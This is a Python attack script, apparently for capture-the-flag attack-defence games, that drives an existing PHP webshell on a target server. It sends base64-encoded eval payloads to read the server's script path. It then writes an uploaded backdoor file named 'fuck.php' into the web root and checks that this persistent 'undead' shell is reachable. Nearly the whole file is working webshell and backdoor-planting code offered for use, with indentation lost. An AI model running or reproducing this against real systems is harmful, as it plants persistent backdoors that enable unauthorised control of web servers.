127 lines
4.1 KiB
Python

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64
#获取靶机的绝对路径
def getpath(url,method,passwd):
data = {}
if method == "get":
data[passwd] = '@eval(base64_decode($_GET[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.get(url,params=data)
return res.content.strip()
elif method == "post" :
data['pass']='Sn3rtf4ck'
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.post(url,data=data)
#print data
return res.content.strip()
else :
return 0
#加载要上传的后门内容
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print("File %s Not Found!" %filepath)
sys.exit()
#写马函数
def upload(url,method,passwd):
#http://127.0.0.1:80/1110/x.php,post,x
'''
1.http or https
2.端口要放在ip变量中
3.Rfile /1110/x.php
'''
try:
url.index("http")
#去除http:// ==> 127.0.0.1:80/1110/x.php
urlstr=url[7:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
except :
urlstr=url[8:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
#判断shell是否存在
try :
res = requests.get(url,timeout=10)
except :
print("[-] %s ERR_CONNECTION_TIMED_OUT" %url)
return 0
if res.status_code!=200 :
print("[-] %s Page Not Found!" %url)
return 0
#加载要写入的内容
shellPath = "./shell.php"
shell_content = loadfile(shellPath)
#获取靶机的绝对路径
Rpath = getpath(url,method,passwd)#D:/phpStudy/WWW/1110/x.php
list0 = Rpath.split("/")
Rpath = ""
for i in range(0,(len(list0)-1)):
Rpath = Rpath+list0[i]+"/"
data = {}
#判断method
if method =="post" :
data['pass']='Sn3rtf4ck'
data[passwd] = "@eval(base64_decode($_POST['z0']));"
#data['z1']='%2fJzEnOicwJyk7O2VjaG8oIlhAWSIpO2RpZSgpOw%3d%3d'
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRjPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKTskYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTskYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTskYnVmPSIiO2ZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTIpJGJ1Zi49c3Vic3RyKCRjLCRpLDIpO2VjaG8oQGZ3cml0ZShmb3BlbigkZiwndycpLCRidWYpPycxJzonMCcpOztlY2hvKCJYQFkiKTtkaWUoKTs='
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
#print data
try:
res = requests.post(url,data=data)
except:
print("[-] %s Shell has already been Deleted"%url)
elif method=="get" :
data[passwd] = "@eval(base64_decode($_GET['z0']));"
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JGY9YmFzZTY0X2RlY29kZSgkX0dFVFsiejEiXSk7JGM9YmFzZTY0X2RlY29kZSgkX0dFVFsiejIiXSk7JGM9c3RyX3JlcGxhY2UoIlxyIiwiIiwkYyk7JGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7JGJ1Zj0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJGMpOyRpKz0yKSRidWYuPXN1YnN0cigkYywkaSwyKTtlY2hvKEBmd3JpdGUoZm9wZW4oJGYsJ3cnKSwkYnVmKT8nMSc6JzAnKTs7ZWNobygiWEBZIik7ZGllKCk7'
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
try:
res = requests.post(url,params=data)
except:
print("[-] %s Shell has already been Deleted"%url)
else :
print("method err!")
sys.exit()
#判断是否上传成功,失败直接跳过
#print res.content
if res.status_code!=200:
print("[-] %s upload failed!" %ip)
return 0
#激活不死马
list=Rfile.split("/")
b_url="http://"+ip
max = len(list)-1
for i in range(1,max):
b_url=b_url+"/"+list[i]
shell_url = b_url+"/fuck.php"
try :
res = requests.get(shell_url,timeout=3)
#输出shell地址
if res.status_code==200:
print("[+] %s upload sucessed!" %shell_url)
else :
print("[-] %s shell Not Found!" %shell_url)
except :
print("[-] %s shell Not Found!" %shell_url)